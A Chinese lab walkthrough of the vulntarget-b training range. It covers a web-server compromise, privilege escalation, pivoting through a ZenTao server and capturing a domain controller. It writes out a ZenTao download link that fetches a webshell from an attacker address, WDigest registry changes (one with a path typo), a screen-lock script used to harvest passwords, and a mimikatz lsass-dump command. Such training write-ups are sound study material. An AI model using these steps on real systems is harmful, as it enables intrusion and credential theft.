乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
本文作者NaMi
01vulntarget-b拓扑
IP1:192.168.10.104
IP2:10.0.20.30
搭建好环境之后,开始我们的实验。
vulntarget-2下载地址
百度云:
链接: https://pan.baidu.com/s/1Hdqkojmu-CeIuPr2gLWHwA
提取码:s4ka
阿里云暂不支持zip文件分享。。。。。
原文地址:vulntarget漏洞靶场系列(二)— vulntarget-b
关于vulntarget漏洞靶场:
https://github.com/crow821/vulntarget
02打 靶 流 程
对WEB服务器进行端口扫描,看到开放的一些端口情况。其中888是phpmyadmin,8888是bt。
查看一下详情:
来到81
端口,是一个极致cms
建站系统,从弱口令登录。一开始尝试了很多前台SQL
注入漏洞,都不存在:
后台的扩展管理的位置存在任意文件压缩下载,需要启动一个服务,然后再download_url=
的位置传入,就会下载文件:
使用冰蝎工具进行连接:
当执行命令的时候,发现函数被禁用了,在phpinfo的位置查看disable_function
能看到什么函数被禁用:
然后使用蚁剑的插件进行绕过,成功执行命令:
生成一个反向的后门文件,反弹shell
到meterpreter
:
使用suggester
脚本,进行提权的搜索。存在三个提权的方法:
使用sudo_baron_samedit
提权至root
权限:
查看网卡信息,存在第二块网卡:
在根目录发现了flag
接着进行内网渗透,先添加路由表,让我们能跨路由进行攻击:
使用fscan
进行端口扫描,但是常规的方式没有发现其他的IP
使用portscan
模块指定一部分常用端口,进行扫描。发现了20.66
同样使用nmap
的端口扫描,发现开放了3306
和8080
端口
打开8080
是一个禅道cms
。这里也是用了注入漏洞,文件读取都未成功:
然后查看文档,使用弱口令登录后台:
使用后台的任意文件下载漏洞获取shell
,首先启动一个web服务:
/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC41Mi4xL3NoZWxsLnBocA==
link位置是base64编码的地址
然后正常访问到下载的木马文件
获取到之后直接就是root权限。在这里尝试了多次正向失败,关闭本地防火墙然后进行反弹shell:
使用监听:
反弹成功:
查看进程,当前机器使用了火绒:
寻找提权的方式,使用systeminfo
命令,将结果复制到网站:
最终使用了CVE_2021_1732_win32k
这个提权工具,多执行几次就能成功,我也是看作者这样做的:
查看网卡的配置,当前是存在域环境的,然后也存在第二块网卡,添加路由:
使用命令查找域控制器的IP,由于存在火绒,需要谨慎操作,不然session会断掉:
当前进程中,也是存在域用户的,存在域用户就可以使用域提权漏洞获取域控制器的权限:
使用mimikatz
的creds_all
命令抓取密码 ,但是没有明文密码。使用这个命令并未拦截:
由于是win10系统,微软在windows 2012 之后就打了补丁kb2871997,需要修改注册表抓取密码。第一条是开启,第二条是关闭:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLMS\YSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
修改注册表之后,需要重启或者管理员重新登录才能抓取明文密码,这里可以使用脚本让其锁屏
lock.ps1
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
这样就抓取到了明文密码:
对域控IP进行端口扫描,开放的88,445,135
端口:
使用py脚本,填写"域/域用户:域密码",成功获取到域控机器的权限:
使用脚本开启3389
,使用rdp协议进行连接:
关闭防火墙:
但是在这里连接失败
原因是由于域控机器开启了如下的功能,需要使用相同的机器才能进行远程访问:
上面的exp
脚本也可以直接-dump
导出当前的hash
,我忘记截图了。然后使用将hash
进行md5
解密,得知密码:Admin@123
既然知道了密码,在win10
机器上进行IPC
连接,上传正向的后门到域控制器:
成功获取到域控制器的机器
如下就是所有的sessions
还可以使用procdump
的方式导出lsass.exe
,存放在当前文件的lsass.dmp
接着使用mimikatz进行密码读取
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit